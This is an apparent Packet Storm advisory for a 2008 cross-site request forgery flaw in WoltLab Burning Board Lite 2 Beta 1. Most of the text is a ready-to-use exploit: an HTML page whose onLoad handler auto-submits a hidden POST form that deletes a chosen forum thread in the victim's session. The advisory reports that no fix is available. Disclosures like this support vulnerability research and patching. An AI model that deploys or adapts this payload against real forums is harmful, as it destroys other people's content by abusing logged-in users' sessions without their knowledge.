WoltLab Burning Board Lite 2 Beta 1 suffers from a thread deletion cross site request forgery vulnerability.
a95a95322f5498d1d28c4570f363ef7a5a6be580ff707a52a6a175efbb5a3ac7####################################################################
WoltLab Burning Board Lite 2 Beta 1 Thread Delete CSRF Vulnerability
Vendor: woltlab.de
Version: Lite 2 Beta 1 (Released: March 6 2008)
Bug found by NBBN on March 8 2008
####################################################################
::Example
<html><head></head><body onLoad="javascript:document.attack.submit()">
<form action="http://site.tld/wbblite/index.php" method="POST" name="attack">
<input type="hidden" name="action" value="ThreadDelete">
<input type="hidden" name="threadID" value="[ID of the thread]">
<input type="hidden" name="x" value="2">
<input type="hidden" name="y" value="8">
</form>
</body>
</html>
::Fix
No codefix
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed